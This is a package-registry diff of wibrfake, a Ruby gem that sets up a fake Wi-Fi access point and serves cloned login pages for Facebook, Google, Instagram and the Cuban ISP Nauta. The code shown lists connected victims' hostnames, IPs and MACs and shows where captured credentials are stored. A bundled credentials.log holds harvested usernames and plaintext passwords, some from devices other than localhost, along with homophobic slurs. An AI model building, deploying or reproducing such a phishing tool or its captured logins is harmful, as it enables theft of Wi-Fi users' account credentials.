wibrfake-brk 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.dockerignore +48 -0
- data/.gitattributes +19 -0
- data/.github/dependabot.yml +12 -0
- data/.github/workflows/ci.yml +90 -0
- data/.rubocop.yml +8 -0
- data/.ruby-version +1 -0
- data/Dockerfile +69 -0
- data/Gemfile +68 -0
- data/README.md +188 -0
- data/Rakefile +6 -0
- data/app/assets/config/manifest.js +5 -0
- data/app/assets/images/.keep +0 -0
- data/app/assets/images/2024-12-30-07:58:34-screenshot.png +0 -0
- data/app/assets/images/facebook/facebook-logo.svg +3 -0
- data/app/assets/images/google/googlelogo_color_272x92dp.png +0 -0
- data/app/assets/images/instagram/app-store.png +0 -0
- data/app/assets/images/instagram/google-play.png +0 -0
- data/app/assets/images/instagram/instagram-logo.png +0 -0
- data/app/assets/images/instagram/screenshot1.png +0 -0
- data/app/assets/images/instagram/screenshot2.png +0 -0
- data/app/assets/images/instagram/screenshot3.png +0 -0
- data/app/assets/images/instagram/screenshot4.png +0 -0
- data/app/assets/images/nauta_etecsa/CUBADEBATE.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBAEDUCA.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBARTE.jpg +0 -0
- data/app/assets/images/nauta_etecsa/CUBASI.jpg +0 -0
- data/app/assets/images/nauta_etecsa/ECURED.jpg +0 -0
- data/app/assets/images/nauta_etecsa/OFERTAS.jpg +0 -0
- data/app/assets/images/nauta_etecsa/PAPELETA.jpg +0 -0
- data/app/assets/images/nauta_etecsa/contenedor_bg.jpg +0 -0
- data/app/assets/images/nauta_etecsa/etecsa.jpg +0 -0
- data/app/assets/images/nauta_etecsa/nauta_wifi.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBADEBATE.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBAEDUCA.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBARTE.jpg +0 -0
- data/app/assets/images/nauta_hogar/CUBASI.jpg +0 -0
- data/app/assets/images/nauta_hogar/ECURED.jpg +0 -0
- data/app/assets/images/nauta_hogar/OFERTAS.jpg +0 -0
- data/app/assets/images/nauta_hogar/PAPELETA.jpg +0 -0
- data/app/assets/images/nauta_hogar/banner_hogar.png +0 -0
- data/app/assets/images/wibrfake/Breaker-Wallpaper1.jpg +0 -0
- data/app/assets/images/wibrfake/mac-list-parameter.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-100x100.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-32x32.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-48x48.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-on.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-set-basic.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-apfake-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-help.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-hostpot.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-init.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-init2.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-login-basic.jpg +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-list.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-ramset-oui.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-ramset.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-set.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-mac-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-need-signin.jpg +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-active.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-init.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-list.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-new.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-rename.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-session-save.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-apfake.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-on.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-web-server-show.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-wkdump-loaded.png +0 -0
- data/app/assets/images/wibrfake/wibrfake-wkdump.png +0 -0
- data/app/assets/images/wibrfake/wibrfake.png +0 -0
- data/app/assets/stylesheets/application.css +15 -0
- data/app/assets/stylesheets/basic/page_basic.css +0 -0
- data/app/assets/stylesheets/facebook/page_facebook.css +93 -0
- data/app/assets/stylesheets/google/page_google.css +137 -0
- data/app/assets/stylesheets/instagram/page_instagram.css +94 -0
- data/app/assets/stylesheets/nauta_etecsa/page_nauta.css +325 -0
- data/app/assets/stylesheets/nauta_hogar/page_nauta.css +469 -0
- data/app/assets/stylesheets/wibrfake/page_wibrfake.css +1181 -0
- data/app/assets/stylesheets/wibrfake/page_wibrfake_about.css +486 -0
- data/app/channels/application_cable/channel.rb +4 -0
- data/app/channels/application_cable/connection.rb +4 -0
- data/app/controllers/application_controller.rb +15 -0
- data/app/controllers/concerns/.keep +0 -0
- data/app/controllers/sessions_controller.rb +111 -0
- data/app/helpers/application_helper.rb +2 -0
- data/app/helpers/sessions_helper.rb +2 -0
- data/app/javascript/application.js +3 -0
- data/app/javascript/bootstrap.bundle.min.js +7 -0
- data/app/javascript/controllers/application.js +9 -0
- data/app/javascript/controllers/hello_controller.js +7 -0
- data/app/javascript/controllers/index.js +4 -0
- data/app/javascript/google/page_google.js +50 -0
- data/app/javascript/incorrect3.js +29 -0
- data/app/javascript/page_wibrfake.js +50 -0
- data/app/javascript/page_wibrfake_about.js +147 -0
- data/app/jobs/application_job.rb +7 -0
- data/app/mailers/application_mailer.rb +4 -0
- data/app/models/application_record.rb +3 -0
- data/app/models/concerns/.keep +0 -0
- data/app/models/user.rb +6 -0
- data/app/views/layouts/application.html.erb +33 -0
- data/app/views/layouts/mailer.html.erb +13 -0
- data/app/views/layouts/mailer.text.erb +1 -0
- data/app/views/pwa/manifest.json.erb +22 -0
- data/app/views/pwa/service-worker.js +26 -0
- data/app/views/sessions/basic/basic.html.erb +21 -0
- data/app/views/sessions/facebook/facebook.html.erb +132 -0
- data/app/views/sessions/google/google.html.erb +72 -0
- data/app/views/sessions/index.html.erb +11 -0
- data/app/views/sessions/instagram/instagram.html.erb +69 -0
- data/app/views/sessions/nauta_etecsa/nauta_etecsa.html.erb +97 -0
- data/app/views/sessions/nauta_hogar/nauta_hogar.html.erb +135 -0
- data/app/views/sessions/wibrfake/about/about.html.erb +164 -0
- data/app/views/sessions/wibrfake/wibrfake.html.erb +417 -0
- data/bin/.names.rb.swp +0 -0
- data/bin/brakeman +7 -0
- data/bin/bundle +114 -0
- data/bin/docker-entrypoint +13 -0
- data/bin/google.wkdump +3 -0
- data/bin/importmap +4 -0
- data/bin/rails +4 -0
- data/bin/rake +4 -0
- data/bin/rubocop +8 -0
- data/bin/setup +37 -0
- data/bin/wibrfake +20 -0
- data/config/application.rb +26 -0
- data/config/boot.rb +4 -0
- data/config/cable.yml +10 -0
- data/config/credentials.yml.enc +1 -0
- data/config/database.yml +16 -0
- data/config/environment.rb +5 -0
- data/config/environments/development.rb +85 -0
- data/config/environments/production.rb +105 -0
- data/config/environments/test.rb +67 -0
- data/config/icons/application-x-wkdump.xml +13 -0
- data/config/icons/hicolor/16x16/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/32x32/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/48x48/mimetypes/application-x-wkdump.png +0 -0
- data/config/icons/hicolor/icon-theme.cache +0 -0
- data/config/icons/hicolor/index.theme +20 -0
- data/config/icons/wkdump.desktop +5 -0
- data/config/importmap.rb +7 -0
- data/config/initializers/assets.rb +12 -0
- data/config/initializers/content_security_policy.rb +25 -0
- data/config/initializers/devise.rb +313 -0
- data/config/initializers/filter_parameter_logging.rb +8 -0
- data/config/initializers/inflections.rb +16 -0
- data/config/initializers/permissions_policy.rb +13 -0
- data/config/locales/devise.en.yml +65 -0
- data/config/locales/en.yml +31 -0
- data/config/puma.rb +35 -0
- data/config/routes.rb +12 -0
- data/config/storage.yml +34 -0
- data/config.ru +6 -0
- data/db/development.sqlite3 +0 -0
- data/db/schema.rb +14 -0
- data/ext/wibrfake/extconf.rb +3 -0
- data/ext/wibrfake/wibrfake.h +0 -0
- data/images/ouilist.png +0 -0
- data/images/wibrfakehelp.png +0 -0
- data/images/wibrfakeinit.png +0 -0
- data/lib/assets/.keep +0 -0
- data/lib/tasks/.keep +0 -0
- data/lib/wibrfake/Config/ipaddr.rb +71 -0
- data/lib/wibrfake/Config/options.rb +98 -0
- data/lib/wibrfake/Config/security_wpa.rb +43 -0
- data/lib/wibrfake/DataBase/howuis.db +0 -0
- data/lib/wibrfake/DataBase/ouis.db +0 -0
- data/lib/wibrfake/DataBase/ouis.rb +24 -0
- data/lib/wibrfake/DataBase/rename.rb +15 -0
- data/lib/wibrfake/DataBase/show.rb +18 -0
- data/lib/wibrfake/Dnsmasq/dhcp.rb +149 -0
- data/lib/wibrfake/Dnsmasq/dhcp_prueba.rb +135 -0
- data/lib/wibrfake/Dnsmasq/dns.rb +34 -0
- data/lib/wibrfake/Dnsmasq/dns_prueba.rb +36 -0
- data/lib/wibrfake/Dnsmasq/dnsmasq.rb +33 -0
- data/lib/wibrfake/Listing/apfake.rb +28 -0
- data/lib/wibrfake/Listing/clients.rb +76 -0
- data/lib/wibrfake/Listing/ouis.rb +53 -0
- data/lib/wibrfake/Listing/process.rb +14 -0
- data/lib/wibrfake/Listing/sessions.rb +47 -0
- data/lib/wibrfake/Listing/web_server.rb +17 -0
- data/lib/wibrfake/Listing/wireless.rb +30 -0
- data/lib/wibrfake/Logs/credentials.log +59 -0
- data/lib/wibrfake/NetworkInterface/ip-routing.rb +99 -0
- data/lib/wibrfake/NetworkInterface/mac.rb +114 -0
- data/lib/wibrfake/NetworkInterface/monitor.rb +44 -0
- data/lib/wibrfake/NetworkInterface/ouis.db +0 -0
- data/lib/wibrfake/Process/id.rb +11 -0
- data/lib/wibrfake/Process/pids.log +5 -0
- data/lib/wibrfake/Process/pkill.rb +124 -0
- data/lib/wibrfake/Process/processes.rb +76 -0
- data/lib/wibrfake/Rails/login.rb +20 -0
- data/lib/wibrfake/Rails/routes.rb +76 -0
- data/lib/wibrfake/Rails/service.rb +58 -0
- data/lib/wibrfake/Rails/service_usage.rb +46 -0
- data/lib/wibrfake/Sessions/session.rb +188 -0
- data/lib/wibrfake/String/string.rb +109 -0
- data/lib/wibrfake/Tmp/config.yml +1 -0
- data/lib/wibrfake/config.rb +24 -0
- data/lib/wibrfake/help.rb +107 -0
- data/lib/wibrfake/optionpr.rb +68 -0
- data/lib/wibrfake/run.rb +9 -0
- data/lib/wibrfake/ty/apld.rb +110 -0
- data/lib/wibrfake/ty/prompt/answers_collector.rb +78 -0
- data/lib/wibrfake/ty/prompt/block_paginator.rb +59 -0
- data/lib/wibrfake/ty/prompt/choice.rb +147 -0
- data/lib/wibrfake/ty/prompt/choices.rb +129 -0
- data/lib/wibrfake/ty/prompt/confirm_question.rb +158 -0
- data/lib/wibrfake/ty/prompt/const.rb +17 -0
- data/lib/wibrfake/ty/prompt/converter_dsl.rb +21 -0
- data/lib/wibrfake/ty/prompt/converter_registry.rb +69 -0
- data/lib/wibrfake/ty/prompt/converters.rb +182 -0
- data/lib/wibrfake/ty/prompt/distance.rb +49 -0
- data/lib/wibrfake/ty/prompt/enum_list.rb +433 -0
- data/lib/wibrfake/ty/prompt/errors.rb +31 -0
- data/lib/wibrfake/ty/prompt/evaluator.rb +29 -0
- data/lib/wibrfake/ty/prompt/expander.rb +321 -0
- data/lib/wibrfake/ty/prompt/keypress.rb +98 -0
- data/lib/wibrfake/ty/prompt/list.rb +589 -0
- data/lib/wibrfake/ty/prompt/mask_question.rb +96 -0
- data/lib/wibrfake/ty/prompt/multi_list.rb +224 -0
- data/lib/wibrfake/ty/prompt/multiline.rb +72 -0
- data/lib/wibrfake/ty/prompt/paginator.rb +111 -0
- data/lib/wibrfake/ty/prompt/question/checks.rb +105 -0
- data/lib/wibrfake/ty/prompt/question/modifier.rb +96 -0
- data/lib/wibrfake/ty/prompt/question/validation.rb +72 -0
- data/lib/wibrfake/ty/prompt/question.rb +391 -0
- data/lib/wibrfake/ty/prompt/result.rb +42 -0
- data/lib/wibrfake/ty/prompt/selected_choices.rb +77 -0
- data/lib/wibrfake/ty/prompt/slider.rb +286 -0
- data/lib/wibrfake/ty/prompt/statement.rb +55 -0
- data/lib/wibrfake/ty/prompt/suggestion.rb +113 -0
- data/lib/wibrfake/ty/prompt/symbols.rb +89 -0
- data/lib/wibrfake/ty/prompt/test.rb +36 -0
- data/lib/wibrfake/ty/prompt/timer.rb +75 -0
- data/lib/wibrfake/ty/prompt/utils.rb +42 -0
- data/lib/wibrfake/ty/prompt/version.rb +7 -0
- data/lib/wibrfake/ty/prompt.rb +589 -0
- data/lib/wibrfake/version.rb +5 -0
- data/lib/wibrfake/wibrfake_cli.rb +683 -0
- data/log/.keep +0 -0
- data/pruebas/daemon1.pid +1 -0
- data/pruebas/daemon2.pid +1 -0
- data/pruebas/daemons.rb +44 -0
- data/public/404.html +67 -0
- data/public/406-unsupported-browser.html +66 -0
- data/public/422.html +67 -0
- data/public/500.html +66 -0
- data/public/icon.png +0 -0
- data/public/icon.svg +3 -0
- data/public/robots.txt +1 -0
- data/storage/.keep +0 -0
- data/test/application_system_test_case.rb +5 -0
- data/test/channels/application_cable/connection_test.rb +13 -0
- data/test/controllers/.keep +0 -0
- data/test/controllers/sessions_controller_test.rb +7 -0
- data/test/fixtures/files/.keep +0 -0
- data/test/fixtures/users.yml +11 -0
- data/test/helpers/.keep +0 -0
- data/test/integration/.keep +0 -0
- data/test/mailers/.keep +0 -0
- data/test/models/.keep +0 -0
- data/test/models/user_test.rb +7 -0
- data/test/system/.keep +0 -0
- data/test/test_helper.rb +15 -0
- data/tmp/.keep +0 -0
- data/tmp/pids/.keep +0 -0
- data/tmp/storage/.keep +0 -0
- data/vendor/.keep +0 -0
- data/vendor/javascript/.keep +0 -0
- data/wibrfake.gemspec +49 -0
- metadata +743 -0
@@ -0,0 +1,76 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Listing
|
3
|
+
def self.clients_connected(id: nil)
|
4
|
+
begin
|
5
|
+
dispositivos = Array.new
|
6
|
+
File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients_connected.log'), 'r'){|file|
|
7
|
+
file.each{|line|
|
8
|
+
dispositivos << {hostname: line.split(', ')[0], ip: line.split(', ')[1], mac: line.split(', ')[2].chomp}
|
9
|
+
}
|
10
|
+
}
|
11
|
+
if(dispositivos.empty?)
|
12
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No connected devices"
|
13
|
+
else
|
14
|
+
puts "\n"
|
15
|
+
puts "\033[48;5;236m=" * 87
|
16
|
+
puts "|" + " " + "#{"\033[38;5;196mID\e[1;37m"} | #{' ' * 8 + "\033[38;5;51mHostname\e[1;37m" + ' ' * 8} | #{' ' * 10 + "\033[38;5;118mIP\e[1;37m" + ' ' * 10} | #{' ' * 12 + "\033[38;5;214mMac\e[1;37m" + ' ' * 12 + "|"}"
|
17
|
+
puts "|" + "-" * 86
|
18
|
+
dispositivos.each_with_index{|client, index|
|
19
|
+
index += 1
|
20
|
+
puts "|" + ' ' * 2 + "#{index.to_s} | #{' ' * 4 + client[:hostname].ljust(18) + ' ' * 2} | #{' ' * 5 + client[:ip].ljust(16) + " "} | #{' ' * 5 + client[:mac].ljust(10) + " " * 5 + "|"}"
|
21
|
+
}
|
22
|
+
puts "=" * 87
|
23
|
+
end
|
24
|
+
rescue Errno::ENOENT
|
25
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No connected devices"
|
26
|
+
end
|
27
|
+
end
|
28
|
+
def self.clients_disconnected(id: nil)
|
29
|
+
begin
|
30
|
+
dispositivos = Array.new
|
31
|
+
File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients_disconnected.log'), 'r'){|file|
|
32
|
+
file.each{|line|
|
33
|
+
dispositivos << {hostname: line.split(', ')[0], ip: line.split(', ')[1], mac: line.split(', ')[2].chomp}
|
34
|
+
}
|
35
|
+
}
|
36
|
+
if(dispositivos.empty?)
|
37
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No devices are disconnected, so there are no logs of disconnected devices"
|
38
|
+
else
|
39
|
+
puts "\n"
|
40
|
+
puts "\033[48;5;236m=" * 87
|
41
|
+
puts "|" + " " + "#{"\033[38;5;196mID\e[1;37m"} | #{' ' * 8 + "\033[38;5;196mHostname\e[1;37m" + ' ' * 8} | #{' ' * 10 + "\033[38;5;196mIP\e[1;37m" + ' ' * 10} | #{' ' * 12 + "\033[38;5;196mMac\e[1;37m" + ' ' * 12 + "|"}"
|
42
|
+
puts "|" + "-" * 86
|
43
|
+
dispositivos.each_with_index{|client, index|
|
44
|
+
index += 1
|
45
|
+
puts "|" + ' ' * 2 + "#{index.to_s} | #{' ' * 4 + client[:hostname].ljust(18) + ' ' * 2} | #{' ' * 5 + client[:ip].ljust(16) + " "} | #{' ' * 5 + client[:mac].ljust(10) + " " * 5 + "|"}"
|
46
|
+
}
|
47
|
+
puts "=" * 87
|
48
|
+
end
|
49
|
+
rescue Errno::ENOENT
|
50
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No devices are disconnected, so there are no logs of disconnected devices"
|
51
|
+
end
|
52
|
+
end
|
53
|
+
def self.clients_logs(id: nil)
|
54
|
+
begin
|
55
|
+
dispositivos = Array.new
|
56
|
+
File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients.log'), 'r'){|file|
|
57
|
+
file.each{|line|
|
58
|
+
dispositivos << {time: line.split(',')[0].gsub('-0500', '').split.join(' '), hostname: line.split(',')[1].split[1], ip: line.split(',')[2].split[1], mac: line.split(',')[3].split[1], status: line.split(',')[4].split.join}
|
59
|
+
}
|
60
|
+
}
|
61
|
+
if(dispositivos.empty?)
|
62
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m there is no record of devices that have interacted"
|
63
|
+
else
|
64
|
+
puts "\n"
|
65
|
+
puts " " * 7 + "#{'Time' + ' ' * 18} #{' ' + 'Hostname' + ' ' * 12} #{'IP' + ' ' * 17} #{'Mac' + ' ' * 14} #{'Status' + ' ' * 6}"
|
66
|
+
puts " " * 7 + "----" + " " * 19 + "--------------" + ' ' * 10 + '------' + ' ' * 13 + '--------------' + ' ' * 10 + '--------'
|
67
|
+
dispositivos.each{|client|
|
68
|
+
puts "#{client[:time]}" + ' ' * 2 + "#{' ' * 8 + "#{client[:hostname]}".ljust(19)} #{"#{client[:ip]}".ljust(13) + ' '} #{' ' * 4 + "#{client[:mac]}".ljust(17) + ' ' } #{' ' * 5 + "#{client[:status]}".ljust(10) + ' ' * 6}"
|
69
|
+
}
|
70
|
+
end
|
71
|
+
rescue Errno::ENOENT
|
72
|
+
warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m There is no record of devices that have interacted"
|
73
|
+
end
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
@@ -0,0 +1,53 @@
|
|
1
|
+
require 'sqlite3'
|
2
|
+
|
3
|
+
module WibrFake
|
4
|
+
class Listing
|
5
|
+
def self.ouis_mac(filter=0, show_all=true)
|
6
|
+
database = SQLite3::Database.new(File.join(File.dirname(__FILE__), '../DataBase/ouis.db'))
|
7
|
+
show_ouis = database.execute("SELECT * FROM ouis_mac")
|
8
|
+
puts " " * 2 + "#{'ID' + ' ' * 3} | #{' ' + 'OUIs' + ' ' * 27} | #{'Organization' + ' ' * 6}"
|
9
|
+
puts "=" * 8 + "+" + "=" * 34 + "+" + "=" * 20
|
10
|
+
salt = " "
|
11
|
+
if(show_all==true)
|
12
|
+
show_ouis.each {|info_oui|
|
13
|
+
puts " " * 2 + "#{info_oui[0]}" + " " * 4 + salt + "|" + " " * 2 + "#{info_oui[1].ljust(31)} | #{info_oui[2].ljust(8)}"
|
14
|
+
}
|
15
|
+
else
|
16
|
+
if(filter =~ /^[a-z]+$/)
|
17
|
+
puts "Continuara..."
|
18
|
+
elsif(filter =~ /^\d+\.\.\d+$/)
|
19
|
+
start, finish = filter.split('..').map(&:to_i)
|
20
|
+
range = (start..finish)
|
21
|
+
range.each {|r|
|
22
|
+
if(r>=0) and (r<=9)
|
23
|
+
salt_number = 4
|
24
|
+
elsif(r>=10) and (r<=99)
|
25
|
+
salt_number = 3
|
26
|
+
elsif(r>=100) and (r<=999)
|
27
|
+
salt_number = 2
|
28
|
+
elsif(r>=1000) and (r<=9999)
|
29
|
+
salt_number = 1
|
30
|
+
else
|
31
|
+
salt_number = 0
|
32
|
+
end
|
33
|
+
puts " " * 2 + "#{show_ouis[r-1][0]}" + " " * salt_number + salt + "|" + " " * 2 + "#{show_ouis[r-1][1].ljust(31)} | #{show_ouis[r-1][2].ljust(8)}"
|
34
|
+
}
|
35
|
+
else
|
36
|
+
filter = filter.to_i
|
37
|
+
if(filter>=0) and (filter<=9)
|
38
|
+
salt_number = 4
|
39
|
+
elsif(filter>=10) and (filter<=99)
|
40
|
+
salt_number = 3
|
41
|
+
elsif(filter>=100) and (filter<=999)
|
42
|
+
salt_number = 2
|
43
|
+
elsif(filter>=1000) and (filter<=9999)
|
44
|
+
salt_number = 1
|
45
|
+
else
|
46
|
+
salt_number = 0
|
47
|
+
end
|
48
|
+
puts " " * 2 + "#{show_ouis[filter-1][0]}" + " " * salt_number + salt + "|" + " " * 2 + "#{show_ouis[filter-1][1].ljust(31)} | #{show_ouis[filter-1][2].ljust(8)}"
|
49
|
+
end
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
@@ -0,0 +1,14 @@
|
|
1
|
+
require_relative '../NetworkInterface/monitor'
|
2
|
+
require_relative '../Process/processes'
|
3
|
+
module WibrFake
|
4
|
+
class Listing
|
5
|
+
def self.show_process(iface)
|
6
|
+
puts " " * 2 + "#{'Name' + ' ' * 20} | #{' ' + 'status' + ' ' * 20} | #{'Description' + ' ' * 6}"
|
7
|
+
puts " " * 2 + "----" + " " * 23 + "---------------" + " " * 13 + "---------------"
|
8
|
+
puts
|
9
|
+
puts " monitor" + " " * 21 + WibrFake::Monitor.status(iface, 1).ljust(3) + " " * 26 + "Status of mode monitor"
|
10
|
+
puts " web_server" + " " * 18 + WibrFake::Processes.status("server", 1).ljust(3) + " " * 26 + "Status of web server"
|
11
|
+
puts " apfake" + " " * 22 + WibrFake::Processes.status("hostapd", 1).ljust(3) + " " * 26 + "Status of the point access"
|
12
|
+
end
|
13
|
+
end
|
14
|
+
end
|
@@ -0,0 +1,47 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Listing
|
3
|
+
def self.sessions_list(id: nil)
|
4
|
+
sessions = Array.new
|
5
|
+
show_sessions = Array.new
|
6
|
+
Dir.each_child(File.join(File.dirname(__FILE__), '..', 'Tmp')){|directory|
|
7
|
+
if(Dir.exist?(File.join(File.dirname(__FILE__), '..', 'Tmp', directory)))
|
8
|
+
sessions << directory
|
9
|
+
end
|
10
|
+
}
|
11
|
+
if(sessions.nil?)
|
12
|
+
puts "Ninguna sesion de wibrfake esta activa"
|
13
|
+
else
|
14
|
+
puts cabecera = "\033[38;5;118mActivated sessions\e[1;37m".center(110)
|
15
|
+
puts "-" * 100
|
16
|
+
sessions.each_with_index{|session, index|
|
17
|
+
config_yml = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'Tmp', session, 'config.yml'))
|
18
|
+
if(session==id)
|
19
|
+
show_sessions << {index: index+1, session: session, current: true, actived: config_yml['session']['session_save'], modified: config_yml['session']['session_modified']}
|
20
|
+
else
|
21
|
+
show_sessions << {index: index+1, session: session, current: false, actived: config_yml['session']['session_save'], modified: config_yml['session']['session_modified']}
|
22
|
+
end
|
23
|
+
}
|
24
|
+
show_sessions.each{|session|
|
25
|
+
actived = session[:actived]? "\033[38;5;46mActived\e[1;37m".ljust(28): "\033[38;5;196mNot actived\e[1;37m".ljust(28)
|
26
|
+
modified = session[:modified]? "\033[38;5;196mModified\e[1;37m".ljust(10):"\033[38;5;46mSaved\e[1;37m".ljust(10)
|
27
|
+
name = "\033[38;5;196m#{session[:current]? 'session >':''} \e[1;37m#{session[:session]}"
|
28
|
+
puts "#{name.ljust(71) + ' '} #{' ' * 10 + '|' + ' ' * 2 + actived + ' ' } #{' ' * 5 + '|' + ' ' * 2 + modified + ' ' * 6}"
|
29
|
+
}
|
30
|
+
end
|
31
|
+
return sessions
|
32
|
+
end
|
33
|
+
def self.sessions_list_return
|
34
|
+
sessions = Array.new
|
35
|
+
Dir.each_child(File.join(File.dirname(__FILE__), '..', 'Tmp')){|directory|
|
36
|
+
if(Dir.exist?(File.join(File.dirname(__FILE__), '..', 'Tmp', directory)))
|
37
|
+
sessions << directory
|
38
|
+
end
|
39
|
+
}
|
40
|
+
if(sessions.nil?)
|
41
|
+
puts "Ninguna sesion de wibrfake esta activa"
|
42
|
+
else
|
43
|
+
return sessions
|
44
|
+
end
|
45
|
+
end
|
46
|
+
end
|
47
|
+
end
|
@@ -0,0 +1,17 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Listing
|
3
|
+
def self.web_server_show(configAP)
|
4
|
+
puts "Set options for the server:"
|
5
|
+
puts
|
6
|
+
puts " " * 2 + "#{'Name' + ' ' * 6} | #{' ' + 'Current Setting' + ' ' * 6} | #{'Required' + ' ' * 6} | #{'Description' + ' ' * 6}"
|
7
|
+
puts " " * 2 + "----" + " " * 10 + "---------------"
|
8
|
+
puts " login" + " " * 9 + configAP.login.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Login to be used by the web server"
|
9
|
+
puts " route" + " " * 9 + configAP.login_route.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Web Server Page Path"
|
10
|
+
puts " host" + " " * 10 + configAP.host_server.ljust(26) + "yes".ljust(3) + " " * 12 + "Hosting to be used by the web server"
|
11
|
+
puts " port" + " " * 10 + configAP.port.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Port to be used by the web server"
|
12
|
+
puts " credentials" + " " * 3 + configAP.path_credential.to_s.ljust(26) + "no".ljust(3) + " " * 12 + "Path where credentials will be saved"
|
13
|
+
puts "-" * 70
|
14
|
+
puts "Link: http://#{configAP.host_server}:#{configAP.port.to_s}/#{configAP.login_route.to_s}"
|
15
|
+
end
|
16
|
+
end
|
17
|
+
end
|
@@ -0,0 +1,30 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Listing
|
3
|
+
def self.wireless
|
4
|
+
stdout_ifaces, stderr_ifaces, status_ifaces = Open3.capture3('iw dev')
|
5
|
+
if status_ifaces.success?
|
6
|
+
ifaces = []
|
7
|
+
stdout_ifaces.each_line{|line|
|
8
|
+
if line =~ /^\s*Interface\s+(\S+)/
|
9
|
+
ifaces << $1
|
10
|
+
end
|
11
|
+
}
|
12
|
+
if ifaces.empty?
|
13
|
+
puts "no se encontraron interfaces"
|
14
|
+
else
|
15
|
+
puts "List of network interfaces available for use:\n"
|
16
|
+
ifaces.each {|line|
|
17
|
+
stdout_type, stderr_type, status_type = Open3.capture3("iw dev #{line} info")
|
18
|
+
if(status_type.success?)
|
19
|
+
if stdout_type.include?('type managed')
|
20
|
+
puts " " * 4 + "* #{line}\n" + " " * 8 + "type managed"
|
21
|
+
elsif stdout_type.include?('type monitor')
|
22
|
+
puts " " * 4 + "* #{line}\n" + " " * 8 + "type monitor"
|
23
|
+
end
|
24
|
+
end
|
25
|
+
}
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|
30
|
+
end
|
@@ -0,0 +1,59 @@
|
|
1
|
+
2025-02-18 07:36:59 -0500 IP: 127.0.0.1, Username: aprobadocon3, Email: , Password: aprobadocon3
|
2
|
+
2025-02-18 07:58:02 -0500 IP: 127.0.0.1, Username: nanoprueba1, Email: , Password: nanoprueba1
|
3
|
+
2025-02-18 07:58:43 -0500 IP: 127.0.0.1, Username: nano@nauta.com.cu, Email: , Password: estaesmicontrasena
|
4
|
+
2025-02-18 08:00:46 -0500 IP: 127.0.0.1, Username: loginbasico, Email: , Password: loginbasnascnjasnckjna
|
5
|
+
2025-02-18 09:40:07 -0500 IP: 127.0.0.1, Username: andyperez@nauta.com.cu, Email: , Password: estaesmicontrasena
|
6
|
+
2025-02-18 09:40:20 -0500 IP: 127.0.0.1, Username: andype, Email: , Password: estaesmicontrasena
|
7
|
+
2025-02-18 09:53:00 -0500 IP: 192.168.174.84, Username: HolaMundo@nauta.com.cu, Email: , Password: micontraseña
|
8
|
+
2025-02-19 06:51:19 -0500 IP: 172.168.1.222, Username: Lapingamia, Email: , Password: breakeresgay
|
9
|
+
2025-02-19 06:51:33 -0500 IP: 172.168.1.222, Username: Lapingamia, Email: , Password: breakeresgay
|
10
|
+
2025-02-19 06:52:07 -0500 IP: 172.168.1.222, Username: Nxdjnd, Email: , Password: jdjd
|
11
|
+
2025-02-19 06:53:18 -0500 IP: 172.168.1.151, Username: Christianesgay, Email: , Password: jsjsksnsbd
|
12
|
+
2025-02-19 07:05:54 -0500 IP: 172.168.1.107, Username: Maricona.cu, Email: , Password: el chicleeeeee
|
13
|
+
2025-02-22 17:03:19 -0500 IP: 192.168.1.3, Username: , Email: , Password:
|
14
|
+
